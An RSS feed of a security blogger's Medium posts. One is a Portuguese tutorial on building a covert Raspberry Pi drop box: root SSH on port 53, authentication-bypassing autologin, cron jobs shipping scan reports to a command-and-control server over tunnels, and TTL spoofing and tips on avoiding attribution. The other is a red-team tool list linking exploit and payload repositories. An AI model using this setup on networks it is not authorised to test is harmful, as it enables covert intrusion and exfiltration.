<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Renato Basante Borbolla on Medium]]></title>
        <description><![CDATA[Stories by Renato Basante Borbolla on Medium]]></description>
        <link>https://medium.com/@renatoborbolla?source=rss-b893fb110670------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZExH4p7J0a8JjiVshr5pNw.jpeg</url>
            <title>Stories by Renato Basante Borbolla on Medium</title>
            <link>https://medium.com/@renatoborbolla?source=rss-b893fb110670------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 14:24:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@renatoborbolla/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Construindo um Kit Hacking Remoto com Raspberry Pi 3]]></title>
            <link>https://renatoborbolla.medium.com/construindo-um-kit-hacking-remoto-com-raspberry-pi-3-c306446a9d4f?source=rss-b893fb110670------2</link>
            <guid isPermaLink="false">https://medium.com/p/c306446a9d4f</guid>
            <category><![CDATA[raspberry-pi-3]]></category>
            <category><![CDATA[hacking-remoto]]></category>
            <category><![CDATA[tecnologia]]></category>
            <dc:creator><![CDATA[Renato Basante Borbolla]]></dc:creator>
            <pubDate>Mon, 28 Dec 2020 17:21:44 GMT</pubDate>
            <atom:updated>2020-12-28T18:58:54.005Z</atom:updated>
            <content:encoded><![CDATA[<p>O Raspberry Pi é um computador do tamanho de um cartão de crédito, que pode fazer coisas que vão desde hackear uma rede Wi-Fi, rastrear um smartphone, hackear um laptop, ouvir a frequência de rádio da polícia, transmitir um rádio FM e aparentemente pode até lançar mísseis em helicópteros.</p><p>A chave para o tamanho do poder é uma enorme comunidade de desenvolvedores e construtores que colaboram maciçamente com milhares de projetos e ferramentas para as plataformas Raspberry Pi e Kali Linux.</p><p>É importante compartimentar sua invasão e evitar o uso de sistemas que possam identificá-lo, como hardware personalizado, por exemplo. Nem todo mundo tem acesso a um supercomputador e, felizmente, não é necessário ter um desses para ter uma plataforma sólida rodando o Kali Linux.</p><p>Com mais de 10 milhões de unidades vendidas, o Raspberry Pi pode ser comprado à vista por apenas US$30. Isso torna muito difícil identificar quem está por trás de um ataque Raspberry Pi.</p><p><strong>O que você vai aprender:</strong></p><p><strong>· </strong>Usar Raspberry Pi para ataques remotos;</p><p><strong>· </strong>Usar Kali Linux no Raspberry Pi 3;</p><p><strong>· </strong>Construir um kit hacking com Raspberry Pi 3 e Kali Linux.</p><p><strong>O que você deve saber:</strong></p><p>· Noções sobre Raspberry Pi;</p><p>· Noções sobre Kali Linux;</p><p>· Noções sobre conexões remotas.</p><h3><strong>Ataques</strong> <strong>de Raspberry Pi</strong></h3><p>Primeiro, é importante que você controle suas expectativas razoavelmente escolhendo um RPi como sua plataforma de hackers, até porque não é um super computador capaz de processar grandes capacidades de dados ou atingir limites incomuns para computadores normais. Ele não oferece muito suporte para tarefas que requerem muito processamento de hardware, como ataques de força bruta em redes WPA ou ataques de rede porque a conexão é muito lenta para enganar os usuários, devemos atribuir essas tarefas a computadores com maior poder de processamento e usar Raspberry Pi apenas como um coletor de informações, devo lembrar, é claro, que cada ferramenta de hacking tem seu poder expandido sempre que é combinado com outras técnicas e ferramentas de ataque ou defesa.</p><p>Raspberry Pi funciona excepcionalmente bem como uma plataforma para ataques sem fio. Devido ao seu pequeno tamanho e grande quantidade de ferramentas baseadas em sistema, como o Kali Linux, é a arma ideal para reconhecimento e ataque Wi-Fi. Nosso Kali Linux também poderá realizará ataques de auditoria em redes Wi-Fi.</p><h4><strong>Equipamentos necessários para o ataque</strong></h4><p>Aqui está a lista de componentes para o nosso projeto e por que precisamos deles.</p><p>1. <strong>Kit Raspberry Pi 3</strong>: Plataforma que gerencia e coordena todos os componentes utilizados. Como descrito acima, vamos usá-lo para suportar sistemas operacionais baseados em linux com alto poder de personalização;</p><p>2. <strong>Comando e controle (C2):</strong> Para conectar automaticamente o Raspberry Pi a um servidor de comando e controle para receber a conexão e os reports que o Raspberry emitirá, é importante ressaltar que mesmo que o Raspberry não consiga conexão com o C2, ele grava o report localmente;</p><p>3. <strong>Wi-Fi Card:</strong> Deve ser compatível com o Kali Linux, mais especificamente, deve ser um cartão com suporte para o modo Monitor, para que ele possa ser usado para encontrar outras redes. Pode ser longo ou curto distância, isso varia de sua necessidade;</p><p>4. <strong>Cartão SD com Imagem do Sistema:</strong> Hospedará o Sistema Operacional e o cérebro do ambiente desejado. A criação de cartões de imagem personalizados permite que você troque rapidamente as funções do nosso Raspberry Pi, simplesmente troque as placas ou componentes SD de ping;</p><p>5. <strong>Computador:</strong> Será utilizado para várias tarefas, desde a criação das Compilações no Cartão SD até o controle remoto;</p><p>6. <strong>Fonte de alimentação:</strong> Necessária para manter Pi conectado;</p><p>7. <strong>Cabo Ethernet (opcional):</strong> Dependerá do tipo de ataque que você planeja fazer;</p><p>8. <strong>Teclado Bluetooth (opcional):</strong> Útil para interagir com Pi, especialmente quando você quiser usá-lo através do cabo HDMI na TV;</p><p>9. <strong>Caso de Proteção (opcional):</strong> Por padrão, todo Raspberry Pi precisa de um estojo para protegê-lo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*pdFyItM4TI4OgeBf.jpg" /><figcaption><strong>Figura 1.</strong> <em>Raspberry Pi 3 kit</em>.</figcaption></figure><h3><strong>Considerações sobre o Ataque</strong></h3><p>Primeiro devemos levar em conta que estamos operando este Raspberry Pi em duas formas. Em nossa configuração inicial o Raspberry Pi está conectado a uma tela via HDMI com entradas através de um Mouse e Teclado Sem Fio, já na Configuração Tática você usará um Laptop ou Smartphone para acessar o Raspberry Pi remotamente via SSH por meio do servidor de comando e controle e, claro, onde quer que você queira ir, você precisará de um Ponto de Acesso Wi-Fi para se conectar remotamente ao Pi.</p><p>Existem muitas maneiras de configurar o Kali Linux para executar em um Raspberry Pi. Alguns deles incluem a configuração touch screen, outros são inteiramente via Linha de Comando (SSH) e outros usam uma placa sem fio interna para permitir acesso remoto através de um hotspot. No entanto, esta é apenas uma configuração razoavelmente básica devido aos diferentes cenários C2 que existem.</p><h4><strong>PROCEDIMENTOS DE ATAQUE</strong></h4><p><strong>1.</strong> <strong>Baixe a Imagem Kali Linux para Raspberry Pi</strong></p><p>No site oficial do Kali linux <a href="#_ftn1">[1]</a>, está um link de download da imagem original de acordo com a versão PI, seja Pi 2 ou Pi 3, certifique-se de escolher o certo para o seu hardware.</p><p><strong>2.</strong> <strong>Carregar IMG para o cartão MicroSD</strong></p><p>Conforme recomendado no tutorial de instalação de IMG no Raspberry Pi, você pode usar o software RaspberryPI OS<a href="#_ftn2">[2]</a> (Windows, Linux e Mac).</p><p><strong>3.</strong> <strong>Dar Boot pela primeira vez</strong></p><p>Quando terminar, seu cartão SD está pronto para executar Kali Linux no Raspberry Pi. Insira seu cartão SD no Pi, conecte-o a uma tela via cabo HDMI e conecte seus periféricos via Bluetooth ou USB, ligue a fonte de alimentação e vamos inicializar o Kali Linux pela primeira vez. O login inicial e a senha são “root / toor” ou “kali / kali”respectivamente.</p><p>O processo de login é um problema quando se trata de controle autônomo, e precisamos desabilitá-lo em breve, para que possamos plugá-lo e acessá-lo remotamente imediatamente, sem nenhuma tela.</p><p><a href="#_ftnref1">[1]</a> <a href="https://www.offensive-security.com/kali-linux-arm-images/">https://www.offensive-security.com/kali-linux-arm-images/</a></p><p><a href="#_ftn2">[2]</a> <a href="https://www.raspberrypi.org/software/">https://www.raspberrypi.org/software/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*sEZyUHJjf-RlgjtyyzXhMA.png" /><figcaption><strong>Figura 2.</strong> E<em>squema de conexões do Raspberry Pi 3</em>.</figcaption></figure><h4><strong>1.</strong> <strong>Atualize o sistema</strong></h4><p>Antes de iniciar o ataque, agora é um bom momento para aumentar o espaço em disco que o sistema pode usar, isso permitirá instalar novas ferramentas remotamente ou até mesmo incluir novos pacotes para a configuração ser concluída. Para fazer isso, execute o seguinte comando:</p><blockquote><strong>resize2fs /dev/mmcblk0p2</strong></blockquote><p>Após concluir este processo, na parte superior da tela você verá uma opção para se conectar a uma rede sem fio próxima, conectar-se a um Ponto de Acesso confiável para receber a atualização e iniciar a atualização digitando os seguintes comandos:</p><blockquote><strong>apt clean</strong></blockquote><blockquote><strong>apt-get update</strong></blockquote><blockquote><strong>apt-get full-upgrade</strong></blockquote><p>Agora sua instalação Kali Linux está atualizada, altere a senha de ROOT para algo mais seguro. O comando é:</p><blockquote><strong>passwd root</strong></blockquote><p>Depois disso, digite a nova senha.</p><h4><strong>2.</strong> <strong>Instale o servidor</strong> <strong>OpenSSH</strong></h4><p>Abra o terminal e digite os seguintes comandos:</p><blockquote><strong>apt-get install openssh-server</strong></blockquote><blockquote><strong>update-rc.d ssh remove</strong></blockquote><blockquote><strong>update-rc.d -f ssh defaults</strong></blockquote><blockquote><strong>update-rc.d ssh enable</strong></blockquote><p>O comando padrão, no entanto, é uma grande vulnerabilidade, qualquer pessoa pode acessar nosso dispositivo via SSH, então vamos ter cuidado, digite os seguintes comandos:</p><blockquote><strong>cd /etc/ssh</strong></blockquote><blockquote><strong>mkdir insecure_old</strong></blockquote><blockquote><strong>mv ssh_host* insecure_old</strong></blockquote><blockquote><strong>dpkg-reconfigure openssh-server</strong></blockquote><p>Isso colocará as teclas SSH antigas na pasta “insecure_old” e, em seguida, gerará novas teclas, agora vamos garantir que podemos fazer login com ROOT digitando:</p><blockquote><strong>nano /etc/ssh/sshd_config</strong></blockquote><p>Altere a seguinte linha:</p><blockquote><strong>PermitRootLogin without-password</strong></blockquote><p>Para:</p><blockquote><strong>PermitRootLogin yes</strong></blockquote><p>Altere a seguinte linha:</p><blockquote><strong>Port 22</strong></blockquote><p>Para:</p><blockquote><strong>Port 53</strong></blockquote><p>Em seguida, pressione CTRL + O para salvar as alterações.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*a_gJXkxDY5CyoN6q2wnouQ.png" /><figcaption><strong>Figura 3.</strong> <em>Configuração do servidor SSH no Kali Linux para acesso remoto</em>.</figcaption></figure><p>Agora é hora de reiniciar o servidor SSH e verificar se ele está funcionando corretamente, digitando:</p><blockquote><strong>service ssh restart</strong></blockquote><blockquote><strong>update-rc.d -f ssh enable 2 3 4 5</strong></blockquote><p>Agora vamos verificar o status do servidor e ver se tudo funciona corretamente, digite:</p><blockquote><strong>service ssh status</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*PKiov17u73ggQ3NJIiia8A.png" /><figcaption><strong>Figura 4.</strong> <em>S</em>tatus do serviço de SSH.</figcaption></figure><p>Não se esqueça de testar o login via SSH.</p><h4><strong>3.</strong> <strong>Configurar Auto</strong> <strong>Login para Operação Remota</strong></h4><p>Às vezes será necessário entrar no sistema instantaneamente, sem precisar de outras etapas, para isso criaremos um usuário com acesso ROOT ao sistema.</p><blockquote><strong>useradd -m renato -G sudo -s /bin/bash</strong></blockquote><p>Se você não configurou uma senha, configure-a digitando a senha desejada (no nosso caso usamos a senha padrão “P@ssW0rd”):</p><blockquote><strong>passwd renato</strong></blockquote><p>Agora vamos desativar a tela de login, para evitar quaisquer problemas:</p><blockquote><strong>nano /etc/lightdm/lightdm.conf</strong></blockquote><p>Agora exclua o “#” que permanece antes das seguintes linhas:</p><blockquote><strong>autologin-user=root</strong></blockquote><blockquote><strong>autologin-user-timeout=0</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*Wbg9b6w26PW9fOrskvHVNA.png" /><figcaption><strong>Figura 5.</strong> <em>Desabilitando o login no Kali Linux</em>.</figcaption></figure><p>Depois disso, salve as alterações, feche o nano e, em seguida, digite o seguinte comando:</p><blockquote><strong>nano /etc/pam.d/lightdm-autologin</strong></blockquote><p>Você precisa alterar o seguinte valor:</p><blockquote><strong># Allow access without authentication</strong></blockquote><blockquote><strong>auth required pam_succeed_if.so user != root quiet_success</strong></blockquote><blockquote><strong>auth required pam_permit.so</strong></blockquote><p>Para:</p><blockquote><strong># Allow access without authentication</strong></blockquote><blockquote><strong>##auth required pam_succeed_if.so user != root quiet_success</strong></blockquote><blockquote><strong>auth required pam_permit.so</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*wJB1LE7ScJRPB6p_fKO5mg.png" /><figcaption><strong>Figura 6.</strong> <em>Configuração do login automático no Kali Linux.</em></figcaption></figure><p>Vamos adicionar 3 scripts no Crontab para rodar em intervalos de 30 minutos. Assim garantimos que todos os scans rodem na rede e consigam entregar os resultados no servidor externo.</p><p>Abra o arquivo <strong>/etc/crontab</strong> e adicione no final:</p><blockquote><strong>*/30 * * * * root sh /etc/init.d/Script-rsync</strong></blockquote><blockquote><strong>*/30 * * * * root sh /etc/init.d/Tunnel-SSH</strong></blockquote><blockquote><strong>*/30 * * * * root sh /etc/init.d/Identifica_IP_e_Ataque</strong></blockquote><p>No script “<strong>Script-rsync</strong>” vamos fazer com que ele sincronize os dados gerados pelo Raspberry para o nosso servidor de comando e controle. Sendo assim nós analisamos os arquivos gerados sem precisar utilizar o recurso de processamento do Raspberry fazendo que o mesmo seja somente utilizado para o ataque e coleta dos reports.</p><p>Vamos criar uma pasta para onde os reports serão gerados e enviados ao servidor externo.</p><blockquote><strong>apt install rsync –y</strong></blockquote><blockquote><strong>mkdir /opt/dados</strong></blockquote><blockquote><strong>chmod 777 /opt/dados</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7HTFfAO2t7XII8YRhJk4lg.png" /><figcaption><strong>Figura 7</strong>. Script para enviar os reports gerados do Raspberry para a servidor de comando e controle.</figcaption></figure><p>No script “<strong>Tunnel-SSH</strong>” criamos uma conexão do Raspberry para o servidor de comando e controle via SSH tunelada para as portas 443 e 53. Algumas corporações tem as portas 443 e 53 apertas para navegação na internet de seus servidores, então utilizaremos essas portas para que o servidor de comando e controle envie comandos adicionais que não estão no script de ataque fazendo assim um melhor teste de penetração e análise do ambiente a ser testado. Caso aconteça de alguma máquina na rede da vítima esteja vulnerável a intrusão, pelo servidor de comando e controle nós vamos realizar um ataque utilizando a técnica Pivoting, que é basicamente utiliza uma máquina infectada para realizar um pentest mais profundo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_XnO3aR_3-sEJrrETYNgQ.png" /><figcaption><strong>Figura 8. </strong>Script para tunnelar o acesso via SSH do Servidor de comando e controle para o Raspberry Pi.</figcaption></figure><p>No script “<strong>Identifica_IP_e_Ataque</strong>” temos um comando para identificar o IP que o Raspberry recebeu e assim analisar a rede toda a partir do IP recebido.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*OmUC04oELjv_Sb_-pPShjA.png" /><figcaption><strong>Figura 9</strong>. Script identifica o IP recebido pela rede e realiza testes de scan na rede em busca de serviços vulneráveis e portas abertas e gera o resultado para ser enviado ao servidor de comando e controle.</figcaption></figure><p>Podemos também fazer ataques de:</p><p><strong><em>· DNS spoofing;</em></strong></p><p><strong><em>· Man-In-The-Middle (MITM);</em></strong></p><p><strong><em>· Sniffer de Rede;</em></strong></p><p><strong><em>· Attack Wireless Network;</em></strong></p><p><strong><em>· Exploração de vulnerabilidades;</em></strong></p><p><strong><em>· Evil Twin Wireless.</em></strong></p><p>Outro script que irá se inicializar junto ao sistema, será de uma regra de iptables Vamos proteger o Raspberry contra ataques da rede ou identificação do mesmo que ele foi inserido e fazendo que somente o servidor de comando e controle tenha acesso a ele.</p><blockquote><strong>update-rc.d -f script_iptables enable 2 3 4 5</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*n2posYxJbS2RSwp-u3aSkA.png" /><figcaption><strong>Figura 10.</strong> Regras de iptables protegendo o Raspberry.</figcaption></figure><p>Depois vamos trocar o TTL para que pareça que seja mais uma máquina Windows na rede. Digite:</p><blockquote><strong>nano /etc/sysctl.conf</strong></blockquote><p><strong># E no final dele, acrescentar uma linha com o novo valor de TTL que você definir: Por exemplo 128 para Windows.</strong></p><blockquote><strong>net.ipv4.ip_default_ttl = 128</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*j3G7EAiYdL5Asqu6uAWkiA.png" /><figcaption><strong>Figura 11.</strong> Alteração do valor padrão do TTL para evitar que através do “ping”, alguem descubra qual o nosso Sistema Operacional.</figcaption></figure><p>Salve, digite “<strong>init 6</strong>” no terminal para reiniciar Raspberry Pi.</p><p>Assim que o Raspberry receber um IP da rede, ele irá fechar um túnel com o servidor externo e pelo terminal do C2 iremos dar um simples comando:</p><blockquote><strong>ssh root@localhost –p 443</strong></blockquote><p><strong>ou</strong></p><blockquote><strong>ssh root@localhost –p 53</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TqErnKCe1nMWa2k6gp2dwA.png" /><figcaption><strong>Figura 12.</strong> Servidor de comando e controle recebeu conexão e entramos no Raspberry para realizarmos ataques direto na rede.</figcaption></figure><p>Nos intervalos de 30 minutos, receberemos o report dos resultados dos scanners de rede no nosso servidor de comando e controle.</p><h3><strong>4.</strong> <strong>Checklist</strong></h3><p>Para ser considerado pronto para o ataque, seu Raspberry Pi precisa passar na seguinte lista de verificação:</p><p><strong>1.</strong> O dispositivo deve inicializar e fazer login sem pedir uma senha e inicializar o servidor SSH, permitindo acesso remoto;</p><p><strong>2.</strong> O dispositivo deve se conectar automaticamente a um Ponto de Acesso, de modo que ele seja acessível remotamente (ele faz isso automaticamente, depois de se conectar pela primeira vez, caso não seja possível, ele guardará os resultado localmente);</p><p><strong>3.</strong> Execute “aircrack-ng” para monitorar as redes wireless de onde o Raspberry está localizado;</p><p><strong>4. </strong>Raspberry Pi desliga sem corromper os dados do cartão de memória (e reinicia normalmente após ser desligado).</p><p>Realizou todos os procedimentos acima, <strong>agora seu Raspberry Pi está pronto!</strong></p><p>Lembre-se de atender a todos os requisitos antes de instalá-lo no ambiente do ataque.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*31Ub5-XW_aJzCqQ14CFxNQ.png" /><figcaption><strong>Figura 13.</strong> Meu Raspberry Pi 3 pronto para realizar um teste de invasão.</figcaption></figure><h3><strong>Conclusão</strong></h3><p>O Raspberry Pi tem algumas características únicas que são muito poderosas e facilmente acessíveis para um Kit de Pentest. Em particular, Pi é uma piada e seus componentes custam o preço de um kit LEGO. Assim, o Raspberry sendo altamente discreto, pequeno, fino e fácil de esconder e, claro, o mais importante, executa o Kali Linux nativamente (sem nenhuma adaptação ou VMs).</p><p>Ele é muito flexível e capaz de executar uma série de ferramentas de hacking, desde clonar crachás até quebrar redes Wi-Fi. Trocando cartões SD ou adicionando componentes personalizados de marketplace como a Adafruit<a href="#_ftn1">[1]</a> o Raspberry pode ser alterado para suportar qualquer tipo de situação.</p><p>Os testes realizados servem como suporte para ataques remotos, e podem ser usados por profissionais, pesquisadores e entusiastas de redes para aprender formas práticas de pentest no campo corporativo ou acadêmico. Também serve como guia para boas práticas de segurança em redes Wi-Fi.</p><h3><strong>Referências</strong></h3><p>AIRCRACK_NG. <strong>Aircrack-ng Suite</strong>. Available at: <a href="http://www.aircrack-ng.org/">http://www.aircrack-ng.org/</a>.</p><p>NMAP. <strong>Nmap Network Scan</strong>. Available at: <a href="https://nmap.org/">https://nmap.org/.</a></p><p>PRITCHETT, W. L; SMET, D. D. <strong>Kali Linux CookBook</strong>. Packt Publishing, 2013.</p><p>SHORT, Timothy. <strong>Raspberry Pi 3: Beginner to Pro — Step by Step Guide</strong>. Amazon, 2016.</p><p><a href="#_ftnref1">[1]</a><a href="https://www.adafruit.com/"> https://www.adafruit.com/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c306446a9d4f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Red Teaming/Adversary Simulation Toolkit]]></title>
            <link>https://renatoborbolla.medium.com/red-teaming-adversary-simulation-toolkit-da89b20cb5ea?source=rss-b893fb110670------2</link>
            <guid isPermaLink="false">https://medium.com/p/da89b20cb5ea</guid>
            <dc:creator><![CDATA[Renato Basante Borbolla]]></dc:creator>
            <pubDate>Wed, 14 Oct 2020 13:02:56 GMT</pubDate>
            <atom:updated>2020-10-14T15:30:55.091Z</atom:updated>
            <content:encoded><![CDATA[<p>Organizations are having a hard time detecting new tactics and techniques employed by cyber criminals looking to breach their defenses. The only sure way to thwart possible cyber threats is to discover any unknown weaknesses and vulnerabilities in the systems and existing defenses. And what better way to do this than to rely on expertise of <a href="https://securitytrails.com/blog/cybersecurity-red-blue-team">red and blue teams</a>, and even adopting a security methodology of a <a href="https://securitytrails.com/blog/purple-team">purple team</a>.</p><p>The red team is considered the offensive side of the security. Red teams think like the attacker, they imitate real-world attacks and mimic adversary techniques and methods, uncover vulnerabilities in an organization’s infrastructure, launch exploits, and report on their findings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*aX_9KYgCn3sqOuzIhKAcmA.png" /><figcaption>Phases of Red Team Operations and Assessment</figcaption></figure><p>A collection of open source and commercial tools that aid in red team operations. This post will help you during red team engagement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8s31t5C9D0BHWiZnRLnog.jpeg" /><figcaption>Attack Lifecycle</figcaption></figure><h3>Contents</h3><ul><li>Reconnaissance</li><li>Weaponization</li><li>Delivery</li><li>Command and Control</li><li>Lateral Movement</li><li>Establish Foothold</li><li>Escalate Privileges</li><li>Data Exfiltration</li><li>Misc</li><li>References</li></ul><h3>Reconnaissance</h3><blockquote><strong>Active Intelligence Gathering</strong></blockquote><ul><li><strong>EyeWitness</strong> is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible. <a href="https://github.com/ChrisTruncer/EyeWitness">https://github.com/ChrisTruncer/EyeWitness</a></li><li><strong>AWSBucketDump</strong> is a tool to quickly enumerate AWS S3 buckets to look for loot. <a href="https://github.com/jordanpotti/AWSBucketDump">https://github.com/jordanpotti/AWSBucketDump</a></li><li><strong>AQUATONE</strong> is a set of tools for performing reconnaissance on domain names. <a href="https://github.com/michenriksen/aquatone">https://github.com/michenriksen/aquatone</a></li><li><strong>spoofcheck</strong> a program that checks if a domain can be spoofed from. The program checks SPF and DMARC records for weak configurations that allow spoofing. <a href="https://github.com/BishopFox/spoofcheck">https://github.com/BishopFox/spoofcheck</a></li><li><strong>Nmap</strong> is used to discover hosts and services on a computer network, thus building a “map” of the network. <a href="https://github.com/nmap/nmap">https://github.com/nmap/nmap</a></li><li><strong>dnsrecon</strong> a tool DNS Enumeration Script. <a href="https://github.com/darkoperator/dnsrecon">https://github.com/darkoperator/dnsrecon</a></li><li><strong>dirsearch</strong> is a simple command line tool designed to brute force directories and files in websites. <a href="https://github.com/maurosoria/dirsearch">https://github.com/maurosoria/dirsearch</a></li><li><strong>Sn1per</strong> automated pentest recon scanner. <a href="https://github.com/1N3/Sn1per">https://github.com/1N3/Sn1per</a></li></ul><blockquote><strong>Passive Intelligence Gathering</strong></blockquote><ul><li><strong>Social Mapper</strong> OSINT Social Media Mapping Tool, takes a list of names &amp; images (or LinkedIn company name) and performs automated target searching on a huge scale across multiple social media sites. Not restricted by APIs as it instruments a browser using Selenium. Outputs reports to aid in correlating targets across sites. <a href="https://github.com/SpiderLabs/social_mapper">https://github.com/SpiderLabs/social_mapper</a></li><li><strong>skiptracer</strong> OSINT scraping framework, utilizes some basic python webscraping (BeautifulSoup) of PII paywall sites to compile passive information on a target on a ramen noodle budget. <a href="https://github.com/xillwillx/skiptracer">https://github.com/xillwillx/skiptracer</a></li><li><strong>FOCA</strong> (Fingerprinting Organizations with Collected Archives) is a tool used mainly to find metadata and hidden information in the documents its scans. <a href="https://github.com/ElevenPaths/FOCA">https://github.com/ElevenPaths/FOCA</a></li><li><strong>theHarvester</strong> is a tool for gathering subdomain names, e-mail addresses, virtual hosts, open ports/ banners, and employee names from different public sources. <a href="https://github.com/laramies/theHarvester">https://github.com/laramies/theHarvester</a></li><li><strong>Metagoofil</strong> is a tool for extracting metadata of public documents (pdf,doc,xls,ppt,etc) availables in the target websites. <a href="https://github.com/laramies/metagoofil">https://github.com/laramies/metagoofil</a></li><li><strong>SimplyEmail</strong> Email recon made fast and easy, with a framework to build on. <a href="https://github.com/killswitch-GUI/SimplyEmail">https://github.com/killswitch-GUI/SimplyEmail</a></li><li><strong>truffleHog</strong> searches through git repositories for secrets, digging deep into commit history and branches. <a href="https://github.com/dxa4481/truffleHog">https://github.com/dxa4481/truffleHog</a></li><li><strong>Just-Metadata</strong> is a tool that gathers and analyzes metadata about IP addresses. It attempts to find relationships between systems within a large dataset. <a href="https://github.com/ChrisTruncer/Just-Metadata">https://github.com/ChrisTruncer/Just-Metadata</a></li><li><strong>typofinder</strong> a finder of domain typos showing country of IP address. <a href="https://github.com/nccgroup/typofinder">https://github.com/nccgroup/typofinder</a></li><li><strong>pwnedOrNot</strong> is a python script which checks if the email account has been compromised in a data breach, if the email account is compromised it proceeds to find passwords for the compromised account. <a href="https://github.com/thewhiteh4t/pwnedOrNot">https://github.com/thewhiteh4t/pwnedOrNot</a></li><li><strong>GitHarvester</strong> This tool is used for harvesting information from GitHub like google dork. <a href="https://github.com/metac0rtex/GitHarvester">https://github.com/metac0rtex/GitHarvester</a></li><li><strong>pwndb</strong> is a python command-line tool for searching leaked credentials using the Onion service with the same name. <a href="https://github.com/davidtavarez/pwndb/">https://github.com/davidtavarez/pwndb/</a></li><li><strong>LinkedInt</strong> LinkedIn Recon Tool. <a href="https://github.com/vysecurity/LinkedInt">https://github.com/vysecurity/LinkedInt</a></li><li><strong>CrossLinked</strong> LinkedIn enumeration tool to extract valid employee names from an organization through search engine scraping. <a href="https://github.com/m8r0wn/CrossLinked">https://github.com/m8r0wn/CrossLinked</a></li><li><strong>findomain</strong> is a fast domain enumeration tool that uses Certificate Transparency logs and a selection of APIs. <a href="https://github.com/Edu4rdSHL/findomain">https://github.com/Edu4rdSHL/findomain</a></li></ul><blockquote><strong>Frameworks</strong></blockquote><ul><li><strong>Maltego</strong> is a unique platform developed to deliver a clear threat picture to the environment that an organization owns and operates. <a href="https://www.paterva.com/web7/downloads.php">https://www.paterva.com/web7/downloads.php</a></li><li><strong>SpiderFoot</strong> the open source footprinting and intelligence-gathering tool. <a href="https://github.com/smicallef/spiderfoot">https://github.com/smicallef/spiderfoot</a></li><li><strong>datasploit</strong> is an OSINT Framework to perform various recon techniques on Companies, People, Phone Number, Bitcoin Addresses, etc., aggregate all the raw data, and give data in multiple formats. <a href="https://github.com/DataSploit/datasploit">https://github.com/DataSploit/datasploit</a></li><li><strong>Recon-ng</strong> is a full-featured Web Reconnaissance framework written in Python. <a href="https://bitbucket.org/LaNMaSteR53/recon-ng">https://bitbucket.org/LaNMaSteR53/recon-ng</a></li></ul><h3>Weaponization</h3><ul><li><strong>WinRAR Remote Code Execution</strong> Proof of Concept exploit for CVE-2018–20250. <a href="https://github.com/WyAtu/CVE-2018-20250">https://github.com/WyAtu/CVE-2018-20250</a></li><li><strong>Composite Moniker</strong> Proof of Concept exploit for CVE-2017–8570. <a href="https://github.com/rxwx/CVE-2017-8570">https://github.com/rxwx/CVE-2017-8570</a></li><li><strong>Exploit toolkit CVE-2017–8759</strong> is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. <a href="https://github.com/bhdresh/CVE-2017-8759">https://github.com/bhdresh/CVE-2017-8759</a></li><li><strong>CVE-2017–11882 Exploit</strong> accepts over 17k bytes long command/code in maximum. <a href="https://github.com/unamer/CVE-2017-11882">https://github.com/unamer/CVE-2017-11882</a></li><li><strong>Adobe Flash Exploit</strong> CVE-2018–4878. <a href="https://github.com/anbai-inc/CVE-2018-4878">https://github.com/anbai-inc/CVE-2018-4878</a></li><li><strong>Exploit toolkit CVE-2017–0199</strong> is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. <a href="https://github.com/bhdresh/CVE-2017-0199">https://github.com/bhdresh/CVE-2017-0199</a></li><li><strong>demiguise</strong> is a HTA encryption tool for RedTeams. <a href="https://github.com/nccgroup/demiguise">https://github.com/nccgroup/demiguise</a></li><li><strong>Office-DDE-Payloads</strong> collection of scripts and templates to generate Office documents embedded with the DDE, macro-less command execution technique. <a href="https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads">https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads</a></li><li><strong>CACTUSTORCH</strong> Payload Generation for Adversary Simulations. <a href="https://github.com/mdsecactivebreach/CACTUSTORCH">https://github.com/mdsecactivebreach/CACTUSTORCH</a></li><li><strong>SharpShooter</strong> is a payload creation framework for the retrieval and execution of arbitrary CSharp source code. <a href="https://github.com/mdsecactivebreach/SharpShooter">https://github.com/mdsecactivebreach/SharpShooter</a></li><li><strong>Don’t kill my cat</strong> is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. <a 